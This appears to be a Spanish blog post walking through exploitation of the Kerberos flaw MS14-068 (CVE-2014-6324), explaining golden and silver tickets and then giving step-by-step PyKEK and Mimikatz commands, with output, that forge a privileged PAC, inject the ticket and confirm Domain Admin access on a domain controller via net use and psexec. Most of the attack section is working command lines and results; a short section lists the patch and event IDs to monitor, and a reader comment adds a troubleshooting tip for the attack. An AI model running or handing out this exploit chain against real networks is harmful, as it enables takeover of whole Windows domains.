CVE-2014-6324 o cómo validarse con cualquier usuario como administrador de dominio

El 18 de noviembre Microsoft anunció en el boletín MS14-068 una vulnerabilidad crítica en Kerberos que permite elevación de privilegios.
A grandes rasgos es un fallo en el Servicio de Kerberos del Controlador de Dominio (KDC) que permite a cualquier usuario del dominio validarse contras los DCs como administradores de dominio (o cualquier otro grupo que especifiquemos).

Validación Kerberos

Para para saber en qué consiste la vulnerabilidad primero debemos entender un poco cómo funciona Kerberos. En resumen el proceso de validación de un usuario es el siguiente:

1.- Cuando un usuario se valida se genera un ticket TGT (Kerberos service ticket) con una petición AS-REQ que contiene un timestamp cifrado y el hash de la contraseña.
2.- El Servicio de Kerberos del Controlador de Dominio o KDC recibe la petición, valida los datos y responde con un AS-REP. El TGT ahora contiene un PAC con todos los grupos a los que pertenece el usuario.
3.- Cuando el usuario quiere acceder a un recurso del Directorio, el TGT generado se presenta al KDC junto con ese recurso específico (Service Principal Name). 
4.- El Controlador de Dominio determina si el TGT es válido y, si lo es, genera un TGS (Resource Access Ticket) cifrado/firmado con una parte de la clave de sesión (hash NTLM de la contraseña del usuario o clave privada de un certificado válido) y con la cuenta KRBTGT, una cuenta especial que reside en todos los DCs que nunca no debe ser borrada ni renombrada.
5.- El TGS luego se envía al KDC para validar la sesión (comprueba si puede descifrarlo con la clave de sesión) y los grupos del PAC para determinar los derechos de acceso del usuario. 


Por defecto el TGT es válido 10 horas y puede ser renovado automáticamente por 7 días. Este ticket no permite el acceso directo a un servicio en particular, sino que "representa" la identidad del usuario actual que ha sido validado por el KDC. El propio TGT está cifrado por el KDC vía el hash de la cuenta krbtgt. El cliente no puede descifrarlo, lo usa "tal cual".

Tickets de Oro

A partir de información específica, desde hace tiempo Mimikatz es capaz de crear un TGT muy especial de la cuenta de administrador de dominio.
Esta información es:

- Nombre de la cuenta de Administrador (Administrator)
 - Nombre completo del dominio (domain.local)
- Dominio SID ( S-1-5-21-1723555596-1415287819-2705645101 )
- Hash de la Cuenta NTLM krbtgt ( 6194bd1a5bf3ecd542e8aac9860bddf0 )

Eso es todo.
El ticket de oro se puede generar desde cualquier máquina, incluso fuera del dominio... Eso sí, el atacante tiene que tener acceso al hash de la contraseña de la cuenta KRBTGT y para ello tiene que ejecutar con privilegios Mimikatz en el servidor de dominio, es decir, que esta tarea es un "lujo" post-explotación...

Tickets de plata

Los tickets de plata en Kerberos son Tickets de Acceso a Recursos o TGS válidos firmados/cifrados por la cuenta configurada con un Service Principal Name en cada servidor que corre el servicio de autenticación de Kerberos. Es decir, mientras que los tickets de oro son firmados/cifrados por la cuenta KRBTGT, los tickets de plata son firmados por las cuentas de servicio (cuenta de equipo extraída de la SAM local o credenciales del servicio).

Sabemos que con los Tickets de Oro no se validan los PACs o grupos hasta que no pasan 20 minutos desde su creación. La mayoría de los servicios no validan el PAC (enviando el TGS al Controlador de Dominio) por lo que un TGS generado con una contraseña de una cuenta de servicio puede incluir un PAC que es ficticio completamente, lo que significa que podemos crear tickets de plata con PACs en los que el usuario pertenece al grupo de administradores de dominio ...

Todo lo que necesitamos es crear un ticket con el mismo formato TGT pero con un nombre de servicio diferente y el RC4 (NTLM hash) de la contraseña de la cuenta.

Explotando la vulnerabilidad MS14-068 (CVE-2014-6324)

Explotar la vulnerabilidad supone la posibilidad de crear o modificar un ticket Kerberos con un PAC modificado y un checksum no válido que, sin embargo, es validado correctamente por el KDC de un Controlador de Dominio. Ese es el fallo descrito en el boletín MS14-068: el KDC no verifica correctamente la firma del ticket y es posible incluir en el PAC grupos con privilegios elevados, haciendo posible que cualquier cuenta del dominio virtualmente pertenezca al grupo de administradores de dominio y, por lo tanto, llegando a comprometer el dominio e incluso el bosque por completo.

Sylvain Monné ha creado PyKEK (Python Kerberos Exploitation Kit), una librería en python (todavía en desarrollo) para manipular datos KRB5 y crear un ticket de plata en el que cualquier cuenta de usuario del dominio puede pertenecer a los siguientes grupos:

- Usuarios del dominio (513)
- Administradores del dominio (512)
- Administradores del esquema (518)
- Administradores de la empresa (519)
- Propietarios del creador de directivas de grupo(520)

Antes de nada descargaremos el zip de su proyecto en Github, lo descomprimiremos y nos situaremos dentro del directorio. Su sintaxis es muy sencilla:
ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>
 
OPTIONS:
    -p <clearPassword>
--rc4 <ntlmHash>Paste your text here.

Lo primero que necesitamos es el SID o identificador de seguridad de nuestro usuario:
C:\Windows>whoami /user

INFORMACIÓN DE USUARIO
----------------------

Nombre de usuario           SID
=========================== ===============================================
dominio\usuario S-1-5-21-1610665867-2938212565-2011412721-42376

Ahora usamos el script con el SID obtenido indicando además nuestras credenciales y el controlador de dominio. Mientras se ejecuta veréis el handshake Kerberos que comentábamos arriba:
D:\Hacking\Exploits\pykek-master>d:\Python27\python.exe ms14-068.py -u usuario@dominio.inet -p password -s S-1-5-21-1610665867-2938212565-2011412721-42376 -d controlador.dominio.net
  [+] Building AS-REQ for 10.123.123.20... Done!
  [+] Sending AS-REQ to 10.123.123.20... Done!
  [+] Receiving AS-REP from 10.123.123.20... Done!
  [+] Parsing AS-REP from 10.123.123.20... Done!
  [+] Building TGS-REQ for 10.123.123.20... Done!
  [+] Sending TGS-REQ to 10.123.123.20... Done!
  [+] Receiving TGS-REP from 10.123.123.20... Done!
  [+] Parsing TGS-REP from 10.123.123.20... Done!
  [+] Creating ccache file 'TGT_usuario@dominio.inet.ccache'... Done!

El resultado será un fichero ccache con las credenciales de las sesión del usuario cacheadas (para no requerir la validación del KDC continuamente) y con el PAC falsificado. Una vez generado este TGT es hora de inyectarlo en la sesión del usuario mediante el módulo kerberos::ptc de Mimikatz:
D:\Hacking\Exploits\mimikatz>mimikatz.exe

  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Nov 20 2014 01:35:45)
 .## ^ ##.
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 15 modules * * */


mimikatz # kerberos::ptc
ERROR kuhl_m_kerberos_ccache_enum ; At least one filename is needed

mimikatz # kerberos::ptc d:\Hacking\Exploits\pykek-master\TGT_usuario@dominio.inet.ccache

Principal : (01) : usuario ; @ DOMINO.INET

Data 0
           Start/End/MaxRenew: 09/12/2014 10:21:07 ; 09/12/2014 20:21:07 ; 16/12/2014 10:21:07
           Service Name (01) : krbtgt ; DOMINO.INET ; @ DOMINO.INET
           Target Name  (01) : krbtgt ; DOMINO.INET ; @ DOMINO.INET
           Client Name  (01) : usuario ; @ DOMINO.INET
           Flags 50a00000    : pre_authent ; renewable ; proxiable ; forwardable ;
           Session Key       : 0x00000017 - rc4_hmac_nt
             6d9dbab62ba4c213f121a96408723a64
           Ticket            : 0x00000000 - null              ; kvno = 2
[...]
           * Injecting ticket : OK

mimikatz # exit
Bye!

El siguiente paso será comprobar mediante klist los tickets de Kerberos cacheados:
D:\Hacking\Exploits\mimikatz>klist

El id. de inicio de sesión actual es 0:0x12d6c2

Vales almacenados en caché: (1)

#0>     Cliente: usuario @ DOMINO.INET
        Servidor: krbtgt/DOMINO.INET @ DOMINO.INET
        Tipo de cifrado de vale Kerberos: RSADSI RC4-HMAC(NT)
        Marcas de vale 0x50a00000 -> forwardable proxiable renewable pre_authent

        Hora de inicio: 12/9/2014 10:21:07 (local)
        Hora de finalización:   12/9/2014 20:21:07 (local)
        Hora de renovación: 12/16/2014 10:21:07 (local)
        Tipo de clave de sesión: RSADSI RC4-HMAC(NT)

Y por último comprobamos que tenemos privilegios de administradores de dominio:
PS D:\Hacking\Exploits\mimikatz> net use \\controlador.dominio.net\admin$
Se ha completado el comando correctamente.

PS D:\Hacking\Exploits\mimikatz> net use k:  \\controlador.dominio.net\c$
Se ha completado el comando correctamente.

PS D:\Hacking\Exploits\mimikatz> psexec  \\controlador.dominio.net\ cmd.exe

PsExec v1.98 - Execute processes remotely
Copyright (C) 2001-2010 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami /groups

GROUP INFORMATION
-----------------

Group Name                                     Type             SID                                           Attr

============================================== ================ ============================================= ====
=====================================================
Everyone                                       Well-known group S-1-1-0                                       Mand
group, Enabled by default, Enabled group
BUILTIN\Users                                  Alias            S-1-5-32-545                                  Mand
group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access     Alias            S-1-5-32-554                                  Mand
group, Enabled by default, Enabled group
BUILTIN\Administrators                         Alias            S-1-5-32-544                                  Mand
group, Enabled by default, Enabled group, Group owner
NT AUTHORITY\NETWORK                           Well-known group S-1-5-2                                       Mand
group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users               Well-known group S-1-5-11                                      Mand
group, Enabled by default, Enabled group
NT AUTHORITY\This Organization                 Well-known group S-1-5-15                                      Mand
group, Enabled by default, Enabled group
dominio\Domain Admins                          Group            S-1-5-21-1600553867-2928214465-2011414720-512 Mand
group, Enabled by default, Enabled group
dominio\Group Policy Creator Owners            Group            S-1-5-21-1600553867-2928214465-2011414720-520 Mand
group, Enabled by default, Enabled group
dominio\Schema Admins                          Group            S-1-5-21-1600553867-2928214465-2011414720-518 Mand
group, Enabled by default, Enabled group
dominio\Enterprise Admins                      Group            S-1-5-21-1600553867-2928214465-2011414720-519 Mand
group, Enabled by default, Enabled group
dominio\Denied RODC Password Replication Group Alias            S-1-5-21-1600553867-2928214465-2011414720-572 Mand
group, Enabled by default, Enabled group, Local Group
Mandatory Label\High Mandatory Level           Label            S-1-16-12188

Contramedidas

Es de vital importancia parchear todos los controladores de dominio con KB3011780. En el blog de Active Directory Security está disponible un script en powershell para comprobar si el servidor tiene el parche instalado: http://adsecurity.org/wp-content/uploads/2014/12/Get-DCPatchStatus.txt

Si por cualquier razón todavía no puedes parchear los servidores se recomienda monitorizar los eventos con ID 4672 (Special privileges assigned to new logon) en busca de usuarios que no son miembros por defecto de grupos de administradores de dominio.

Incluso si está ya parcheado se recomienda monitorizar eventos con ID 4769 que muestran intentos fallidos de conseguir tickets de servicio Kerberos (TGS).

Fuentes

- Microsoft Security Bulletin MS14-068 - Critical 
- Python Kerberos Exploitation Kit
- mimikatz and your credentials ‘you’ll hate your SSO’
- mimikatz - Golden Ticket
- Credential cache
- MS14-068 : the Python Kerberos Exploitation kit
- MS14-068 Kerberos Vulnerability Privilege Escalation POC Posted (PyKEK)
- Exploiting MS14-068 Vulnerable Domain Controllers Successfully with the Python Kerberos Exploitation Kit (PyKEK) 
- MS14-068: Una vulnerabilidad existente en Kerberos podría permitir la elevación de privilegios: 18 de noviembre, 2014 
- Additional information about CVE-2014-6324
- CVE-2014-6324 o cómo validarse con cualquier usuario como administrador del dominio

1 comentarios :

  1. Es importante tener en cuenta que antes de realizar el hackeo hay que purgar el la lista de tickets cacheados de kerberos en el cliente usando: "klist purge". Estuve teniendo problemas con eso, y de esa manera lo resolví.

    ResponderEliminar